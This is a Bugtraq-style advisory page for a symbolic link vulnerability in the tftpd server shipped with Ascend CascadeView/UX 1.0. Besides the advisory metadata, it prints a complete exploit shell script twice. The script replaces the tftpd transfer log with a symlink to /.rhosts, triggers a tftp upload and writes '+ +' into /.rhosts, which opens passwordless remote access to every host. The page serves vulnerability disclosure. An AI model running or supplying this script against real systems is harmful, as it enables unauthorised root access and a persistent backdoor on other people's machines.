Ascend CascadeView tftpd Symbolic Link Vulnerability
BID:910
Info
Ascend CascadeView tftpd Symbolic Link Vulnerability
| Bugtraq ID: | 910 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Unknown |
| Local: | Unknown |
| Published: | Dec 31 1999 12:00AM |
| Updated: | Dec 31 1999 12:00AM |
| Credit: | First posted to Bugtraq by Loneguard <[email protected]> on December 31, 1999. |
| Vulnerable: |
Ascend CascadeView/UX 1.0 |
| Not Vulnerable: | |
Discussion
Exploit / POC
Ascend CascadeView tftpd Symbolic Link Vulnerability
#!/bin/sh
#
# tftpserv.sh - Loneguard 07/03/99
#
# Buggy tftp server shipped with CascadeView B-STDX 8000/9000
#
rm /tmp/tftpd_xfer_status.log
ln -s /.rhosts /tmp/tftpd_xfer_status.log
echo KungFu > crazymonkey
( sleep 1 ; echo put crazymonkey ; sleep 1 ; echo quit ) | tftp 127.1
echo "+ +" > /.rhosts
#!/bin/sh
#
# tftpserv.sh - Loneguard 07/03/99
#
# Buggy tftp server shipped with CascadeView B-STDX 8000/9000
#
rm /tmp/tftpd_xfer_status.log
ln -s /.rhosts /tmp/tftpd_xfer_status.log
echo KungFu > crazymonkey
( sleep 1 ; echo put crazymonkey ; sleep 1 ; echo quit ) | tftp 127.1
echo "+ +" > /.rhosts
Solution / Fix
Ascend CascadeView tftpd Symbolic Link Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Ascend CascadeView tftpd Symbolic Link Vulnerability
References:
References: